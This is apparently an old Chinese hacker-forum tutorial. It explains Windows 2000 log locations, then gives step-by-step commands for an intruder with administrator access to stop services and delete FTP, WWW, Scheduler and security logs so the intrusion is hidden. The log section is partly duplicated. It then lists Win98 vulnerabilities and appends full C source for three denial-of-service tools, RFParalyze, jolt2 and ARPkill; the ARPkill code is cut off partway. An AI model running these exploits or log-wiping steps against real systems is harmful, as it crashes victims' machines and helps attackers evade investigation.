志等等，可能会根据服务器所开启的服务不同。当我们用流光探测时，比如说IPC探测，就会在安全日志
里迅速地记下流光探测时所用的用户名、时间等等，用FTP探测后，也会立刻在FTP日志中记下IP、时间、
探测所用的用户名和密码等等。甚至连流影启动时需要msvcp60.dll这个动库链接库，如果服务器没有这
个文件都会在日志里记录下来，这就是为什么不要拿国内主机探测的原因了，他们记下你的IP后会很容易
地找到你，只要他想找你！！还有Scheduler日志这也是个重要的LOG，你应该知道经常使用的srv.exe就
是通过这个服务来启动的，其记录着所有由Scheduler服务启动的所有行为，如服务的启动和停止。
日志文件默认位置：

应用程序日志、安全日志、系统日志、DNS日志默认位置：%systemroot%\system32\config，默认文件大
小512KB，管理员都会改变这个默认大小。

安全日志文件：%systemroot%\system32\config\SecEvent.EVT
系统日志文件：%systemroot%\system32\config\SysEvent.EVT
应用程序日志文件：%systemroot%\system32\config\AppEvent.EVT
Internet信息服务FTP日志默认位置：%systemroot%\system32\logfiles\msftpsvc1\，默认每天一个日志
Internet信息服务WWW日志默认位置：%systemroot%\system32\logfiles\w3svc1\，默认每天一个日志
Scheduler服务日志默认位置：%systemroot%\schedlgu.txt
以上日志在注册表里的键：
应用程序日志，安全日志，系统日志，DNS服务器日志，它们这些LOG文件在注册表中的：
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog
有的管理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表，里面可查到以上日志的定位目录。
Schedluler服务日志在注册表中
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent

FTP和WWW日志详解：
FTP日志和WWW日志默认情况，每天生成一个日志文件，包含了该日的一切记录，文件名通常为ex（年份）（月份）（日期），例如ex001023，就是2000年10月23日产生的日志，用记事本就可直接打开，如下例：
#Software: Microsoft Internet Information Services 5.0　　（微软IIS5.0）
#Version: 1.0 （版本1.0）
#Date: 20001023 0315 （服务启动时间日期）
#Fields: time cip csmethod csuristem scstatus
0315 127.0.0.1 [1]USER administator 331　（IP地址为127.0.0.1用户名为administator试图登录）
0318 127.0.0.1 [1]PASS – 530　（登录失败）
032:04 127.0.0.1 [1]USER nt 331　（IP地址为127.0.0.1用户名为nt的用户试图登录）
032:06 127.0.0.1 [1]PASS – 530　（登录失败）
032:09 127.0.0.1 [1]USER cyz 331　（IP地址为127.0.0.1用户名为cyz的用户试图登录）
0322 127.0.0.1 [1]PASS – 530　（登录失败）
0322 127.0.0.1 [1]USER administrator 331　（IP地址为127.0.0.1用户名为administrator试图登录）
0324 127.0.0.1 [1]PASS – 230　（登录成功）
0321 127.0.0.1 [1]MKD nt 550　（新建目录失败）
0325 127.0.0.1 [1]QUIT – 550　（退出FTP程序）

从日志里就能看出IP地址为127.0.0.1的用户一直试图登录系统，换了四次用户名和密码才成功，管理员
立即就可以得知管理员的入侵时间、IP地址以及探测的用户名，如上例入侵者最终是用administrator用
户名进入的，那么就要考虑更换此用户名的密码，或者重命名administrator用户。
WWW日志
WWW服务同FTP服务一样，产生的日志也是在%systemroot%\System32\LogFiles\W3SVC1目录下，默认是每
天一个日志文件，下面是一个典型的WWW日志文件
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 20001023 03:091
#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)
20001023 03:091 192.168.1.26 192.168.1.37 80 GET /iisstart.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
20001023 03:094 192.168.1.26 192.168.1.37 80 GET /pagerror.gif 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
通过分析第六行，可以看出2000年10月23日，IP地址为192.168.1.26的用户通过访问IP地址
为192.168.1.37机器的80端口，查看了一个页面iisstart.asp,这位用户的浏览器为compatible;+MSIE+5.0;+Windows+98+DigExt，有
经验的管理员就可通过安全日志、FTP日志和WWW日志来确定入侵者的IP地址以及入侵时间。
既使你删掉FTP和WWW日志，但是还是会在系统日志和安全日志里记录下来，但是较好的是只显示了你的
机器名，并没有你的IP，例如上面几个探测之后，系统日志将会产生下面的记录：
一眼就能看出2000年10月23日，16点17分，系统因为某些事件出现警告，双击头一个，打开它的属性：

属性里记录了出现警告的原因，是因为有人试图用administator用户名登录，出现一个错误，来源
是FTP服务。
同时安全记录里写将同时记下：（Ekin:此图不是此次示例的安全日志）

在上图中可以看到两种图标：钥匙（表示成功）和锁（表示当用户在做什么时被系统停止）。接连四个
锁图标，表示四次失败审核，事件类型是帐户登录和登录、注销失败，日期为2000年10月18日，时间为
1002，这就需要重点观察。
双点第一个失败审核事件的，即得到此事件的详细描述，如下图12所示：

分析上图，我们可以得知有个CYZ的工作站，用administator用户名登录本机，但是因为用户名未知或密
码错误（实际为密码错误）未能成功。
另外还有DNS服务器日志，不太重要，就此略过（其实是我没有看过它）

知道了Windows2000日志的详细情况，下面就要学会怎样删除这些日志：
通过上面，得知日志文件通常有某项服务在后台保护，除了系统日志、安全日志、应用程序日志等等，
它们的服务是Windos2000的关键进程，而且与注册表文件在一块，当Windows2000启动后，启动服务来保
护这些文件，所以很难删除，而FTP日志和WWW日志以及Scedlgu日志都是可以轻易地删除的。
首先要取得Admnistrator密码或Administrators组成员之一，然后Telnet到远程主机，先来试着删除FTP
日志：
D:\SERVER>del schedlgu.txt
D:\SERVER\SchedLgU.Txt
进程无法访问文件，因为另一个程序正在使用此文件。
说过了，后台有服务保护，先把服务停掉！
D:\SERVER>net stop "task scheduler"
下面的服务依赖于 Task Scheduler 服务。
停止 Task Scheduler 服务也会停止这些服务。

Remote Storage Engine

是否继续此操作? (Y/N) [N]: y
Remote Storage Engine 服务正在停止....
Remote Storage Engine 服务已成功停止。

Task Scheduler 服务正在停止.
Task Scheduler 服务已成功停止。
OK，它的服务停掉了，同时也停掉了与它有依赖关系的服务。再来试着删一下！
D:\SERVER>del schedlgu.txt
D:\SERVER>
没有反应？成功了！下一个是FTP日志和WWW日志，原理都是一样，先停掉相关服务，然后再删日志！
D:\SERVER\system32\LogFiles\MSFTPSVC1>del ex*.log

D:\SERVER\system32\LogFiles\MSFTPSVC1>
以上操作成功删除FTP日志！再来WWW日志！
D:\SERVER\system32\LogFiles\W3SVC1>del ex*.log

D:\SERVER\system32\LogFiles\W3SVC1>
OK！恭喜，现在简单的日志都已成功删除。下面就是很难的安全日志和系统日志了，守护这些日志的服
务是Event Log，试着停掉它！
D:\SERVER\system32\LogFiles\W3SVC1>net stop eventlog
这项服务无法接受请求的 "暂停" 或 "停止" 操作。
KAO，I　服了 U，没办法，它是关键服务。如果不用第三方工具，在命令行上根本没有删除安全日志和系
统日志的可能！所以还是得用虽然简单但是速度慢得死机的办法：打开“控制面板”的“管理工具”中的
“事件查看器”（98没有，知道用Win2k的好处了吧），在菜单的“操作”项有一个名为“连接到另一台
计算机”的菜单，点击它如下图所示：

输入远程计算机的IP，然后点支烟，等上数十分钟，忍受象死机的折磨，然后打开下图：

选择远程计算机的安全性日志，右键选择它的属性：

点击属性里的“清除日志”按钮，OK！安全日志清除完毕！同样的忍受痛苦去清除系统日志！
目前在不借助第三工具的情况下，能很快，很顺利地清除FTP、WWW还有Schedlgu日志，就是系统日志和
安全日志属于Windows2000的严密守护，只能用本地的事件查看器来打开它，因为在图形界面下，加之网
速又慢，如果你银子多，时间闲，还是可以清除它的。综上所述，介绍了Windows2000的日志文件以及删
除方法，但是你必须是Administrator，注意必须作为管理员或管理组的成员登录才能打开安全日志记
录。该过程适用于 Windows 2000 Professional 计算机，也适用于作为独立服务器或成员服务器运行的
Windows 2000 Server 计算机。

至此，Windows2000安全知识基础讲座完毕，还有几句话要讲，大家也看出来了，虽然FTP等等日志可以很
快清除，但是系统日志和安全日志却不是那么快、那么顺利地能删除，如果遇到聪明的管理员，将日志文
件转移到另一个地方，那更是难上加难，所以奉劝大家，千万不要拿国内的主机做试验，国内的法律很严
呀！今天吃饭时，听说有两个人开玩笑，一个人把另外一个人的东西藏起来了，结果那个人一急，报案了
，于是藏东西那个人被判四年刑！！法官说法律是不开玩笑的！！！所以大家一定要牢记这点！(不要说
我老生常谈)
如果大家有什么不明白地方，请在光和影子论坛提问！谢谢！

从日志里就能看出IP地址为127.0.0.1的用户一直试图登录系统，换了四次用户名和密码才成功，管理员
立即就可以得知管理员的入侵时间、IP地址以及探测的用户名，如上例入侵者最终是用administrator用
户名进入的，那么就要考虑更换此用户名的密码，或者重命名administrator用户。
WWW日志
WWW服务同FTP服务一样，产生的日志也是在%systemroot%\System32\LogFiles\W3SVC1目录下，默认是每
天一个日志文件，下面是一个典型的WWW日志文件
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 20001023 03:091
#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)
20001023 03:091 192.168.1.26 192.168.1.37 80 GET /iisstart.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
20001023 03:094 192.168.1.26 192.168.1.37 80 GET /pagerror.gif 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
通过分析第六行，可以看出2000年10月23日，IP地址为192.168.1.26的用户通过访问IP地址
为192.168.1.37机器的80端口，查看了一个页面iisstart.asp,这位用户的浏览器为compatible;+MSIE+5.0;+Windows+98+DigExt，有
经验的管理员就可通过安全日志、FTP日志和WWW日志来确定入侵者的IP地址以及入侵时间。
既使你删掉FTP和WWW日志，但是还是会在系统日志和安全日志里记录下来，但是较好的是只显示了你的机
器名，并没有你的IP，例如上面几个探测之后，系统日志将会产生下面的记录：
一眼就能看出2000年10月23日，16点17分，系统因为某些事件出现警告，双击头一个，打开它的属性：

属性里记录了出现警告的原因，是因为有人试图用administator用户名登录，出现一个错误，来源是FTP
服务。
同时安全记录里写将同时记下：（Ekin:此图不是此次示例的安全日志）

在上图中可以看到两种图标：钥匙（表示成功）和锁（表示当用户在做什么时被系统停止）。接连四个锁图标，表示四次失败审核，事件类型是帐户登录和登录、注销失败，日期为2000年10月18日，时间为1002，这就需要重点观察。
双点第一个失败审核事件的，即得到此事件的详细描述，如下图12所示：
分析上图，我们可以得知有个CYZ的工作站，用administator用户名登录本机，但是因为用户名未知或密码错误（实际为密码错误）未能成功。
另外还有DNS服务器日志，不太重要，就此略过（其实是我没有看过它）

知道了Windows2000日志的详细情况，下面就要学会怎样删除这些日志：
通过上面，得知日志文件通常有某项服务在后台保护，除了系统日志、安全日志、应用程序日志等等，它们的服务是Windos2000的关键进程，而且与注册表文件在一块，当Windows2000启动后，启动服务来保护这些文件，所以很难删除，而FTP日志和WWW日志以及Scedlgu日志都是可以轻易地删除的。
首先要取得Admnistrator密码或Administrators组成员之一，然后Telnet到远程主机，先来试着删除FTP日志：
D:\SERVER>del schedlgu.txt
D:\SERVER\SchedLgU.Txt
进程无法访问文件，因为另一个程序正在使用此文件。
说过了，后台有服务保护，先把服务停掉！
D:\SERVER>net stop "task scheduler"
下面的服务依赖于 Task Scheduler 服务。
停止 Task Scheduler 服务也会停止这些服务。

Remote Storage Engine

是否继续此操作? (Y/N) [N]: y
Remote Storage Engine 服务正在停止....
Remote Storage Engine 服务已成功停止。

Task Scheduler 服务正在停止.
Task Scheduler 服务已成功停止。
OK，它的服务停掉了，同时也停掉了与它有依赖关系的服务。再来试着删一下！
D:\SERVER>del schedlgu.txt
D:\SERVER>
没有反应？成功了！下一个是FTP日志和WWW日志，原理都是一样，先停掉相关服务，然后再删日志！
D:\SERVER\system32\LogFiles\MSFTPSVC1>del ex*.log

D:\SERVER\system32\LogFiles\MSFTPSVC1>
以上操作成功删除FTP日志！再来WWW日志！
D:\SERVER\system32\LogFiles\W3SVC1>del ex*.log

D:\SERVER\system32\LogFiles\W3SVC1>
OK！恭喜，现在简单的日志都已成功删除。下面就是很难的安全日志和系统日志了，守护这些日志的服务
是Event Log，试着停掉它！
D:\SERVER\system32\LogFiles\W3SVC1>net stop eventlog
这项服务无法接受请求的 "暂停" 或 "停止" 操作。
KAO，I　服了 U，没办法，它是关键服务。如果不用第三方工具，在命令行上根本没有删除安全日志和系
统日志的可能！所以还是得用虽然简单但是速度慢得死机的办法：打开“控制面板”的“管理工具”中的
“事件查看器”（98没有，知道用Win2k的好处了吧），在菜单的“操作”项有一个名为“连接到另一台
计算机”的菜单，点击它如下图所示：

输入远程计算机的IP，然后点支烟，等上数十分钟，忍受象死机的折磨，然后打开下图：

选择远程计算机的安全性日志，右键选择它的属性：

点击属性里的“清除日志”按钮，OK！安全日志清除完毕！同样的忍受痛苦去清除系统日志！
目前在不借助第三工具的情况下，能很快，很顺利地清除FTP、WWW还有Schedlgu日志，就是系统日志和安
全日志属于Windows2000的严密守护，只能用本地的事件查看器来打开它，因为在图形界面下，加之网速
又慢，如果你银子多，时间闲，还是可以清除它的。综上所述，介绍了Windows2000的日志文件以及删除
方法，但是你必须是Administrator，注意必须作为管理员或管理组的成员登录才能打开安全日志记录。
该过程适用于 Windows 2000 Professional 计算机，也适用于作为独立服务器或成员服务器运行的 Win
dows 2000 Server 计算机。

至此，Windows2000安全知识基础讲座完毕，还有几句话要讲，大家也看出来了，虽然FTP等等日志可以很
快清除，但是系统日志和安全日志却不是那么快、那么顺利地能删除，如果遇到聪明的管理员，将日志
文件转移到另一个地方，那更是难上加难，所以奉劝大家，千万不要拿国内的主机做试验，国内的法律很
严呀！今天吃饭时，听说有两个人开玩笑，一个人把另外一个人的东西藏起来了，结果那个人一急，报
案了，于是藏东西那个人被判四年刑！！法官说法律是不开玩笑的！！！所以大家一定要牢记这点！(不
要说我老生常谈)

全是很全，不过大家都忽略了一个问题！
如果一个服务器下管理有多个HTTP或FTP站点的话，日志的，命名方法就不一样了！会出
现W3SVC1，2，3....而这其中，又有一个是默认的远程网络管理日志（默认端口6959，如果开着这
个……呵呵，很大的一个漏洞！当然要有administrator权限……），所以要想判断一台服务器的具
体日志情况，我个人建议……要抹就抹个干净……只要是在logfile下的文件夹，全部删掉！~~~


Win98常见安全漏洞于解决方案

1、共享密码校验漏洞

       老漏洞了，绿盟袁哥发现的。微软NETBIOS协议的口令校验服务端在对客户端的口令进行校验时是以客户端发送的长度数据为依据。如果客户端设置数据包中密码长度域为1, 并发送一个字节的明文口令给服务端。服务端就会将客户端发来口令与服务端保存的共享口令的第一个字节进行明文比较，如果匹配就认为通过了验证。

2、ICMP攻击

       补丁：http://support.microsoft.com/support/kb/articles/Q154/1/74.asp

       关于ICMP攻击的有很多了，WINNUKE、SPING和TEARDROP，比如WINNUKE，可对使用Windows 3.11/95/NT操作系统的上网者进行攻击。它可向某一IP地址发送“OOB”(OUT OF BAND)数据，并攻击139端口(NETBIOS)，如果攻击者进行端口监听的话，还可攻击其它端口。当被攻击的电脑收到“OOB"数据后，即无法对数据进行处理，并出现Internet连接中断或蓝屏幕死机等现象。

       ICMP通常报告在处理数据报过程中的错误，在以下几种情况下发送：当数据报不能到达目的地时，当网关已经失去缓存功能，当网关能够引导主机在更短路由上发送。一般上网用户可能不用到多少，不知道我理解得对不对，因此可以关闭ICMP。

       而且shotgun早提出关于ICMP木马的设计思路，台湾的**实现了（具体的程序我忘记了），这种木马可能对于只分析端口的防火墙防范木马简直是绝杀。

3、ARP 拒绝服务攻击

       影响WINDOWS98系统，当向运行Windows的主机发送大量无关的ARP数据包时，会导致系统耗尽所有的CPU和内存资源而停止响应。如果向广播地址发送ARP请求时，可能导致整个居域网停止响应。

       攻击程序见：arpkill

4、IPX Ping 包拒绝服务漏洞

由于不正确的通过端口0x456发送一些不规范的IPX/SPX Ping包可能导致服务器出现拒绝服务攻击。IPX/SPX协议在Windows 98默认安装情况下是没有安装的，而在Windows 95默认安装时如果系统检测到网卡后此协议将自动安装。如果IPX/SPX协议被禁止，Windows 9x 将接受特殊的畸形IPX Ping 包，而且发送源地址已被修改为广播地址，并且将导致广播紊乱，促使带宽饱和，出现拒绝服务。如果源地址已被修改为广播地址，这样此网段中的每个机器都将响应此Ping请求，如此多的响应将导致网络瘫痪。

5、NetBIOS 缓存漏洞

（抄来一大段，我还不了解这个漏洞）在Windows 95, 98, NT 4.0, and 2000中的NetBIOS高速缓存执行允许远程插入动态缓存条目，而且可以移走动态和静态缓存条目。这是由NetBIOS缓存的实现和CIFS（Common Internet File System）浏览协议之间的交互引起的。CIFS浏览协议用来生成网络资源的列表，该协议被用在“网上邻居”和“我的网络”等服务中。它还定义了一些浏览帧，这些帧被封装在NetBIOS数据包中。当从138号UDP端口接收到一个浏览帧的请求时，NetBIOS数据包中的信息被提取出来并添加到NetBIOS缓存中。这些信息包括源和目的地的NetBIOS名字、第二源IP地址以及IP头。远程的恶意用户可以通过发送单播或广播类型的UDP数据包，从而使得NetBIOS名字到IP地址的解析进行重定向，在其控制之下转发到任意的IP地址。一旦NetBIOS缓存被UDP数据包破坏，就不再需要预测事务标识（据报道，事务标识是一个很容易预测的16 bit的标识）。为了刷新缓存中的动态条目，用户可以发送一个正向名字查询（Positive Name Query）响应，在该响应中提供另一个IP地址给NetBIOS名字映射。

       安全建议：WINDOWS的NETBIOS有很多缺陷，建议对NETBIOS进行安全配置。

6、NetBIOS 空源主机名导致系统崩溃

       当Windows 95/98收到一个NetBIOS会话的包，这个包中源主机名被设置成NULL,那么将导致发生不可预料的错误：系统崩溃，蓝屏，重起动，死锁或者丢失网络连接等等。

       攻击程序见：netbios空原主机名.txt

7、无效驱动器类型拒绝服务漏洞

       如果一个MicrosoftWindows9X客户端连接到一个文件／打印共享服务器时，服务器返回一个错误驱动器类型，那么将导致客户端崩溃，必须重新启动来恢复正常正常功能。下列驱动器类型是Windows9X能识别的：

1)驱动器号：

2)LPTx:

3)COMMx

4)IPC

返回给客户端的所有其他的驱动器类型会引起拒绝服务。

8、NetBIOS over TCP/IP 耗尽资源漏洞

       微软的执行NetBIOS可能由于一个远程开发漏洞而导致拒绝服务攻击。攻击者能够通过连接NBT端口而促使系统耗尽网络资源并停止工作。

攻击可通过如下方式来进行：初始化许多连接，然后关闭它们，让目标机器上的TCP管套（socket）处于FINWAIT_1状态。尽管这些管套最终将超时并被释放，但攻击者可以持续地发送更多请求，初始化并关闭新的连接，耗尽任何空闲的网络资源。结果将导致NetBIOS拒绝正常的服务，直到攻击停止。微软在NT 4.0 sp6中发布了一个补丁来修补该漏洞。

    简单说来，DDOS攻击基本是无法解决的，我特别喜欢，从SYN FLOOD理论上来说只要是有限带宽的服务都会被攻击到拒绝服务，服务器可能只是拒绝服务，而一般的PC可能就是系统资源耗尽了。而且，大量的DOS攻击可以造成防火墙大量日志，甚至日志满或者日志爆满掉。天网据说是6万记录即满，而6万日志，可以很快就搞定，只要知道天网过滤哪些东西就攻击哪些东西。呵呵，这就是强行突破FIREWALL或者IDS的前奏。

解决方法： 微软已经针对此漏洞开发了补丁程序，下载地址：

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25114

其他漏洞：

Microsoft Windows Media Player .WMZ 任意 Java Applet 漏洞

测试方法： http://www.guninski.com/wmp7-3.html '中有详细描述

    以上内容只是一点简介，限于自己的水平，难免有错，欢迎大家指正。联系：refdom@263.net

--------------------------------------------------------------------
附：一些测试程序
--------------------------------------------------------------------

************************************************************
netbios空原主机名.txt
************************************************************

#include <stdio.h>　　　　/* It's such a
    shame to waste　 */
#include <stdlib.h>　　　　/* this usable space. Instead,　*/
#include <string.h>　　　　/* we'll just make it more　　　*/
#include <netdb.h>　　　　/* props to the men and women　 */
#include <sys/socket.h>　　　　/* (hi Tabi!) of #!adm and　　　*/
#include <sys/types.h>　　　　/* #!w00w00, because they rock　*/
#include <netinet/in.h>　　　　/* so much.　And we can't forget*/
#include <unistd.h>　　　　/* our friends at eEye or　　　 */
#include <string.h>　　　　/* Attrition. Oh, +hi Sioda. */

/*　　 Magic winpopup message
    This is from \\Beav\beavis and says "yeh yeh"
    Ron and Marty should like the hardcoded values this has ;)
*/
char blowup[]= "\x00\x00\x00\x41\xff\x53\x4d\x42\xd0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x19\x00\x04\x42\x45\x41\x56\x00\x04\x42\x45\x41\x56\x49"
"\x53\x00\x01\x08\x00\x79\x65\x70\x20\x79\x65\x70\x00\x00";

struct sreq /* little structure of netbios
    session request */
{
char first[5];
char yoname[32];
char sep[2];
char myname[32];
char end[1];
};

void Pad_Name(char *name1, char *name2); /* Thanks Antilove/ADM 4 codez!*/

int main(int argc, char *argv[]){
char buf[4000], myname[33], yoname[33];
struct sockaddr_in sin;
int sox, connex, x;
struct sreq smbreq;

printf("RFParalyze -- this code by rfp/ADM/Wiretrip/ and dm/el8/\n");

if (argc < 3) {
printf("Usage: RFParalyze <IP of target> <NetBIOS name>\n");
printf("　　　 --IP must be ip address, not dns\n");
printf("　　　 --NetBIOS name must be in UPPER CASE\n\n");
exit(1);}

printf("Greetz to el8.org, Technotronic, w00w00, USSR, and ADM!\n");

Pad_Name("WICCA",myname);　/* greetz to Simple Nomad/NMRC */
myname[30]='A';　　　　　　　 /* how was Beltaine? :)　　　　*/
myname[31]='D';

Pad_Name(argv[2],yoname);
yoname[30]='A';
yoname[31]='D';
printf("Trying %s as NetBIOS name %s \n",argv[1],argv[2]);

sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_family　　　= AF_INET;
sin.sin_port　　　　= htons(139);

sox = socket(AF_INET,SOCK_STREAM,0);
if((connex = connect(sox,(struct sockaddr_in *)&sin,sizeof(sin))) <
    0){
perror("Problems connecting: ");
exit(1);}

memset(buf,0,4000);

memcpy(smbreq.first,"\x81\x00\x00\x44\x20",5);
    /*various netbios stuffz*/
memcpy(smbreq.sep,"\x00\x20",2);　　　　　　　 /*no need to worry about*/
memcpy(smbreq.end,"\x00",1);　　　　　　　　　 /*what it does :)　　　 */
strncpy(smbreq.myname,myname,32);
strncpy(smbreq.yoname,yoname,32);

write(sox,&smbreq,72);　/* send initial request */
x=read(sox,buf,4000);　 /* get their response　 */

if(x<1){ printf("Problem, didn't get
    response\n");
exit(1);}

if(buf[0]=='\x82') printf("Enemy engaged,
    going in for the kill...");
else {printf("We didn't get back the A-OK, bailing.\n");
exit(1);}

write(sox,&blowup,72);　/* send the magic
    message >:)　　 */
x=read(sox,buf,4000);　 /* we really don't care, but sure */
close(sox);
printf("done\n");
}

void Pad_Name(char *name1, char *name2)
{ char c, c1, c2;
  int i, len;
  len = strlen(name1);
  for (i = 0; i < 16; i++) {
    if (i >= len) {
     c1 = 'C'; c2 = 'A'; /* CA is a space */
    } else {
      c = name1;
      c1 = (char)((int)c/16 + (int)'A');
      c2 = (char)((int)c%16 + (int)'A');
    }
    name2[i*2] = c1;
    name2[i*2+1] = c2;
  }
  name2[32] = 0;　 /* Put in the null ...*/
}

************************************************************
Windows Dos代码
************************************************************

    文件： jolt2.c

     描述： 这是Windows-of-serice攻击源代码，由Razor team编写。这段程序能导致cpu使用达到100%，最后系统瘫痪。

    测试平台： Windows 98
    Windows NT/SP5,6
    Windows 2000

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <getopt.h>

struct _pkt
{
struct iphdr ip;
union {
struct icmphdr icmp;
struct udphdr udp;
} proto;
char data;
} pkt;

int icmplen = sizeof(struct icmphdr),
udplen = sizeof(struct udphdr),
iplen = sizeof(struct iphdr),
spf_sck;

void usage(char *pname)
{
fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n",
pname);
fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
exit(0);
}

u_long host_to_ip(char *host_name)
{
static u_long ip_bytes;
struct hostent *res;

res = gethostbyname(host_name);
if (res == NULL)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}

void quit(char *reason)
{
perror(reason);
close(spf_sck);
exit(-1);
}

int do_frags (int sck, u_long src_addr, u_long
    dst_addr, int port)
{
int bs, psize;
unsigned long x;
struct sockaddr_in to;

to.sin_family = AF_INET;
to.sin_port = 1235;
to.sin_addr.s_addr = dst_addr;

if (port)
psize = iplen + udplen + 1;
else
psize = iplen + icmplen + 1;
memset(&pkt, 0, psize);

pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(iplen + icmplen) + 40;
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons (8190);

if (port)
{
pkt.proto.udp.source = htons(port|1235);
pkt.proto.udp.dest = htons(port);
pkt.proto.udp.len = htons(9);
pkt.data = 'a';
} else {
pkt.proto.icmp.type = ICMP_ECHO;
pkt.proto.icmp.code = 0;
pkt.proto.icmp.checksum = 0;
}

while (1) {
bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof(struct sockaddr));
}
return bs;
}

int main(int argc, char *argv[])
{
u_long src_addr, dst_addr;
int i, bs=1, port=0;
char hostname[32];

if (argc < 2)
usage (argv[0]);

gethostname (hostname, 32);
src_addr = host_to_ip(hostname);

while ((i = getopt (argc, argv, "s:p:h"))
    != EOF)
{
switch (i)
{
case 's':
dst_addr = host_to_ip(optarg);
if (!dst_addr)
quit("Bad source address given.");
break;

case 'p':
port = atoi(optarg);
if ((port <=0) || (port > 65535))
quit ("Invalid port number given.");
break;

case 'h':
default:
usage (argv[0]);
}
}

dst_addr = host_to_ip(argv[argc-1]);
if (!dst_addr)
quit("Bad destination address given.");

spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
quit("socket()");
if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
sizeof(bs)) < 0)
quit("IP_HDRINCL");

do_frags (spf_sck, src_addr, dst_addr, port);

************************************************************
ARPkill 代码
************************************************************

extern "C" {
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pcap.h>
#include <libnet.h>
#include <sys/times.h>
}

#define TMPBUFLEN 256
#define IP_LEN 4
#define MAC_LEN 6

// packet burst
#define PSEQ 50

// packet preload
#define STARTSEQ 15000

const unsigned char ethernull[6] = {0,0,0,0,0,0};
const unsigned char etherbcast[6] = {255,255,255,255,255,255};
u_char* sniffdevice;

//　prints MAC
void print_mac(unsigned char* mac)
{
  printf("\nMAC: %x:%x:%x:%x:%x:%x ", (unsigned)mac[0], (unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4], (unsigned)mac[5]);
}

//　sprints MAC
char* sprint_mac(unsigned char* mac)
{
static char tmpbuf[TMPBUFLEN];

  sprintf(tmpbuf, "%x:%x:%x:%x:%x:%x", (unsigned)mac[0], (unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4], (unsigned)mac[5]);

return tmpbuf;
}

//　prints IP
void print_ip(unsigned char* ip)
{
  printf("\nIP: %u.%u.%u.%u ", (unsigned)ip[0], (unsigned)ip[1], (unsigned)ip[2], (unsigned)ip[3]);
}

//　sprints IP
char* sprint_ip(unsigned char* ip)
{
static char tmpbuf[TMPBUFLEN];

  sprintf(tmpbuf, "%u.%u.%u.%u", (unsigned)ip[0], (unsigned)ip[1], (unsigned)ip[2], (unsigned)ip[3]);

return tmpbuf;
}

//　reads MAC
void get_mac(u_char* mac, char* optarg)
{
  int i=0;
  char* ptr = strtok(optarg, ":-");
  while(ptr) {
   unsigned nmb;
   sscanf(ptr, "%x", &nmb);
   mac = (u_char)nmb;
   ptr = strtok(NULL, ":-");
   i++;
  }
}

//　reads IP
void get_ip(u_char* ip, char* ipstr)
{
  int i=0;
  char* ptr = strtok(ipstr, ".");
  while(ptr && i<4) {
   ip = (unsigned char)atoi(ptr);
   ptr = strtok(NULL, ".");
   i++;
  }
}

main(int ac, char** av)
{

// usage
  if(ac<4)
   printf("\nusage: %s <victim ip> <victim mac> <duration> [seq len]\n\n", av[0]), exit(1);

  srand(time(NULL));

  long long duration = atoi(av[3]);

  unsigned pseq = PSEQ;
  if(ac>4)
   pseq = atoi(av[4]);

  u_char victim_mac[MAC_LEN];
  get_mac(victim_mac, av[2]);

  u_char victim_ip[IP_LEN];
  get_ip(victim_ip, av[1]);

  u_char randmac[MAC_LEN];
  u_char randip[IP_LEN];
  bzero(randmac, sizeof(randmac));

  print_mac(victim_mac);
  print_ip(victim_ip);
  printf("\npacket burst: %d", pseq);
  printf("\nfreezing host for %d seconds\n", (int)duration);

  struct timeval tv;
  gettimeofday(&tv, NULL);
  long long ts1 = tv.tv_sec;
  ts1 *= 1000000;
  ts1 += tv.tv_usec;

// init libnet
struct sockaddr_in sin;
u_char errbuf[TMPBUFLEN];
if(libnet_select_device(&sin, (unsigned char **)&sniffdevice, (u_char*)errbuf)
    != 1) {
printf("\nERROR selecting device");
}
else {
libnet_link_int* mylink;
mylink = libnet_open_link_interface((char*)sniffdevice, (char*)errbuf);
if(mylink == NULL) {
printf("\nERROR opening link interface: %s", errbuf);
}
else {
long long ts2 = ts1;
int i=0, j=0;

// send random arp packets
    for(i=0; i<sizeof(randmac); i++)
     randmac = rand() % 256;

    u_char buf[64];
    bzero(buf, sizeof(buf));

    while((ts2-ts1) < duration*1000000) {

     gettimeofday(&tv, NULL);
     ts2 = tv.tv_sec;
     ts2 *= 1000000;
     ts2 += tv.tv_usec;

     if(j > STARTSEQ && (j % pseq)
    == (pseq-1)) {
usleep(1);
}
j++;

